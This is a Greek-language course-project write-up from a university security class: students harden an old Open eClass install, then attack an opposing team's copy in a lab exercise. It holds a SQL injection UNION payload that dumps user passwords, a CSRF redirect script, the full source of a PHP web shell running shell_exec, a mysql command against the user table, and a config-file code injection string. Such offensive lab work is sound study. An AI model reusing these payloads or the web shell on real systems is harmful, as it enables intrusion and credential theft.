Το repository αυτό περιέχει μια παλιά και μη ασφαλή έκδοση του eclass. Προορίζεται για χρήση στα πλαίσια του μαθήματος Προστασία & Ασφάλεια Υπολογιστικών Συστημάτων (ΥΣ13), μην τη χρησιμοποιήσετε για κάνενα άλλο σκοπό.
Εκφώνηση: https://crypto.di.uoa.gr/csec/assets/projects/project1.pdf
- 1115201300202, Κώστας Χατζόπουλος
- 1115201600141, Βασίλειος Πουλόπουλος
Tο openeclass δεν ήταν σχεδόν καθόλου προστατευμένο από επιθέσεις αυτού του τύπου.Χρησιμοποιήσαμε την βιβλιοθήκη htmlpurifier (Η htmlpurifier εντοπίζει τον κακόβουλο κώδικα και τον αφαιρεί.) για να προστατέψουμε τις εισόδους απο link που αποθηκεύονται στην server μεταβλητή php_self αλλά και για τις μεταβλητές που προέρχονται από είσοδο (GET/POST) και τυπώνεται το περιεχόμενό τους στον ιστότοπο. Τα δεδομένα που έρχονται από είσοδο του χρήστη και αποθηκεύονται στη βάση, πλέον δεν περιέχουν τον κακόβουλο κώδικα.
Το openeclass δεν είχε σε κανένα σημείο prepared statements αλλά σε κάποια queries γινόταν χρήση των συναρτήσεων mysql_real_escape_string(), autoquote(), addslashes() και intval() τα οποία δεν προστατεύουν πλήρως τον ιστότοπο ενώ σε κάποια άλλα δεν υπήρχε καθόλου προστασία. Χρησιμοποιήσαμε την συνάρτηση intval() όταν στο query υπήρχαν μόνο ακέραιοι αριθμοί και όταν υπήρχαν και strings αντικαταστήσαμε τα αρχικά queries με prepared statements.
Στο openeclass δεν υπήρχε καμία προστασία για επιθέσεις αυτού του τύπου. Για να το διορθώσουμε βάλαμε σε κάθε ενέργεια που θα μπορούσε να γίνει κάτι σημαντικό (π.χ. διαγραφές, εισαγωγές, ενημερώσεις) ένα random token το οποίο ελέγχεται όταν γινει η ενέργεια μέσω της μεταβλητής $_SESSION['form_token'] που σημαίνει ότι πριν τυπωθει η συγκεκριμένη ενέργεια αποθηκεύεται το token. Αν το token είναι διαφορετικό η ενέργεια δεν γίνεται και ο χρήστης ανακατευθύνεται στην σελίδα που ήταν.
Για τις επιθέσεις RFI σε σημεία που μπορούσαν να ανέβουν αρχεία (Ανταλλαγή Αρχείων, Εργασίες) ο επιτιθέμενος μπορούσε να ανοίξει το φάκελο στον οποίο αποθηκεύονται τα αρχεία. Με αυτόν τον τρόπο θα μπορούσε να ανεβάσει κάποιο malicious script και πατώντας πάνω στο αρχείο του να το τρέξει. Για να προστατευτεί το site όταν ανεβαίνουν αρχεία το όνομα άλλαζε και γινόταν random. Αυτό δεν βοηθάει πολύ γιατί εφόσον ο επιτιθέμενος έχει πρόσβαση στο φάκελο μπορεί με διάφορους τρόπους να βρει το αρχείο του (π.χ. με το να μπει κατευθείαν αφού το ανεβάσει στο φάκελο και να πατήσει "last modified"). Για να αποτρέψουμε τις επιθέσεις RFI βάλαμε την εντολή #Deny from All σε .htaccess αρχεία σε αυτούς τους φακέλους που απαγορεύουν την πρόσβαση σε αυτούς μέσω του site. Έτσι αφού δεν υπάρχει πρόσβαση στο φάκελο και τα ονόματα είναι random, ο επιτιθέμενος δεν έχει τρόπο να καταλάβει ποιό είναι το αρχείο του και να μπει σε αυτό ώστε να τρέξει. Επιπλέον, ακόμα και να μπορούσε να καταλάβει πως λέγεται το αρχείο του, δεν θα έτρεχε γιατί στο .htaccess εχουμε προσθέσει την εντολή #php_flag engine off οπότε τα .php αρχεία δεν μπορούν να τρέξουν.
Οι αντίπαλοί μας είχαν προστατέψει αρκετά σημεία από xss αλλά βρήκαμε μερικά σημεία στα οποία μπορούμε να κάνουμε. Το ένα σημείο ήταν στις περιοχές συζητήσεων στο σώμα του μηνύματος αν πατηθεί η επιλογή για μετάβαση σε html. Επίσης στην αλλαγή στοιχείων παρατηρήσαμε πως αν βάλουμε κάποιο script σε κάποιο πεδιο (πχ στο όνομα), τότε σε μερικά σημεία του site που εμφανίζεται το όνομα, το script τρέχει(πχ όταν ο admin πάει να διαγράψει τον συγκεκριμένο χρήστη ή στη διαχείριση χρηστών). Αν ο χρήστης με το κακόβουλο script στο όνομά του συνδεθεί στο site, τότε το script τρέχει κάθε φορα που αλλάζει σελίδες, γιατι το όνομά του εμφανίζεται πάνω δεξιά στο site
Στο σημείο των συζητήσεων πήγαμε να κάνουμε "απάντηση" σε κάποιο θέμα και από το url επιχειρήσαμε να κάνουμε sql injection στη μεταβλητή topic, το οποίο καταφέραμε. Έτσι τρέχοντας το: http://web-sec-team.csec.chatzi.org/modules/phpbb/reply.php?topic=4 AND 1=2) UNION (select 1,2,3,GROUP_CONCAT(0x3c62723e, user_id, 0x3a, nom, 0x3a, prenom, 0x3a, username, 0x3a, password) from eclass.user) -- &forum=1 καταφέραμε να πάρουμε τα στοιχεία των 7 πρώτων χρηστών. Ο πρώτος, ήταν ο drunkadmin. Άλλο ένα σημείο που καταφέραμε να κάνουμε sql injection εκμεταλλευόμενοι πάλι την παράμετρο topic ήταν το: http://web-sec-team.csec.chatzi.org/modules/phpbb/viewtopic.php?topic=2&forum=2
Για να προστατευθεί η αντίπαλη ομάδα από csrf παρατηρήσαμε πως χρησιμοποιείται ένα token σε κάθε φόρμα που είχε σεταριστεί κατά το login. Παρόλα αυτά, στη σελίδα "Λίστα μαθημάτων/Ενέργειες" που βρίσκεται στη " Διαχείριση Πλατφόρμας" δεν τσεκάρετε το token ούτε στη διαγραφή μαθήματος ούτε στην επεξεργασία του, οπότε καταφέραμε να κάνουμε csrf. Επίσης μπορεί να γίνει csrf στην υποβολή βαθμού κάποιας εργασίας καθώς ούτε εκεί ελέγχεται το token. Επιπλέον δεν έχει μπει token και στην τηλεσυνεργασία οπότε αν έχουμε ένα site στο οποίο βάλουμε την εντολή
<script>window.location.href = "http://web-sec-team.csec.chatzi.org/modules/conference/messageList.php?msg=&chatLine=test"</script>
και το πατήσει κάποιος χρήστης του eclass θα αναρτηθεί το μήνυμα "test" στην τηλεσυνεργασία απο το λογαριασμό του.
Το αντίπαλο site δεν είχε ασφάλεια για RFI οπότε ανεβασαμε στην ανταλλαγή αρχείων διάφορα .php scripts και μάθαμε την ιεραρχία των φακέλων. Στη συνέχεια αλλάξαμε το αρχείο tool_content.css και το theme.html και προσθέσαμε το index.html ωστε να αλλάξουμε την αρχική σελίδα. Αυτά τα αρχεία τα αλλάξαμε έχοντας φτιάξει τις version που θέλαμε, τις ανεβάσαμε στο puppies και μετά ανεβάζαμε scripts με wget και τις βάζαμε στο site. Μετά ανεβάσαμε το παρακάτω script:
<?php
$input = '';
if (isset($_POST['input'])) {
$input = $_POST['input'];
?>
<form method="post" action="<?PHP $_SERVER[PHP_SELF] ?>">
<textarea name="input" rows="4" cols="50" value="<?php $input ?>"></textarea>
<input type="submit" name="submit"/>
</form>
<?php
echo "<pre style='border: 1px solid black; padding: 3px'>$input</pre>";
$output = shell_exec($input);
echo "<pre style='border: 1px solid black; padding: 3px'>$output</pre>";
} else {
?>
<form method="post" action="<?PHP $_SERVER[PHP_SELF] ?>">
<textarea name="input" rows="4" cols="50" value="<?php $input ?>"></textarea>
<input type="submit" name="submit"/>
</form>
<?php
}
?>
το οποίο τρέχει shell commands κατευθείαν απ' το browser μέσω φόρμας και βρίσκεται στο παρακάτω url: http://web-sec-team.csec.chatzi.org/courses/TMA105/dropbox/5ea8b087l4hg.php
Έτσι μπορούσαμε να κάνουμε πρακτικά οτιδήποτε στο site εύκολα και χωρίς να ανεβάζουμε πολλά scripts. Με τη βοήθεια του script αυτού τρέξαμε εντολές ώστε να κάνουμε compress ολο το site, το αποθηκεύσαμε στο φάκελο στον οποίο βρισκόμασταν (εκεί που είχαν ανέβει τα scripts) και κατεβάσαμε από εκεί τον κώδικα στους υπολογιστές μας. Τότε από το config.php μάθαμε τον κωδικό της βάσης και χρησιμοποιήσαμε στο script μας την εντολή mysql -u root --password="*********" --database=eclass --execute="SELECT * FROM user;" οπότε αυτός ήταν ένας τρόπος να μάθουμε τα στοιχεία των χρηστών.
Ο κωδικός του ηταν md5 hashed οπότε μέσω RFI αλλάξαμε το αρχείο include/login.php και στο σημείο που γίνεται η σύγκριση του hashed κωδικού από είσοδο του χρήστη με τον hashed κωδικό από την βάση βγάλαμε την μετατροπή του κανονικού κωδικού σε md5 και ως είσοδο για τον κωδικό δώσαμε κατευθείαν τον hashed κωδικό από την φόρμα εισόδου. Με αυτόν τον τρόπο αποκτήσαμε πρόσβαση ως admin με αποτέλεσμα να υπάρχει η δυνατότητα να μάθουμε τον κωδικό μεσω του αρχείου ρυθμίσεων, ωστόσο δεν ήταν εφικτό να ανοίξουμε τη σελίδα 'Αρχείο ρυθμίσεων' καθώς η αντίπαλη ομάδα την είχε διαγράψει. Μέσα από το αρχείο ρυθμίσεων θα μπορούσαμε να κάνουμε και από εκεί deface μεσω των πεδίων της φόρμας. Για να γίνει αυτό θα έπρεπε να τοποθετήσουμε ως εισοδο σε κάποιο από τα πεδία το κείμενο: "; echo "test το οποίο θα κάνει inject στο αρχείο ρυθμίσεων τον php κώδικα: echo "test". Αντί για το echo θα μπορούσαμε να τρέξουμε οποιαδήποτε άλλη php εντολή καθώς και shell commands μέσω της shell_exec οπότε θα ήταν ένας εύκολος τρόπος να κάνουμε deface όπως ακριβώς κάναμε και με το RFI
Το συγκεκριμένο πρόβλημα στο αρχείο ρυθμίσεων, το αντιμετωπίσαμε κάνοντας χρήση regular expressions ώστε να μη δέχεται συγκεκριμένους χαρακτήρες.
Θα μπορούσαμε να είχαμε δοκιμάσει και άλλες επιθέσεις πχ XSS στο ημερολόγιο και στη σελίδα "Ξεχάσατε το συνθηματικό σας;" η επιθέσεις CSRF στη μαζική δημιουργία λογαριασμων χρηστών ή στην ανάκτηση μαθήματος. Γενικά πολλές σελίδες είχανε διαγραφεί και δεν μπορέσαμε να δοκιμάσουμε όσα είχαμε στο μυαλό μας καθώς αρκετές σελίδες είχανε διαγραφεί.
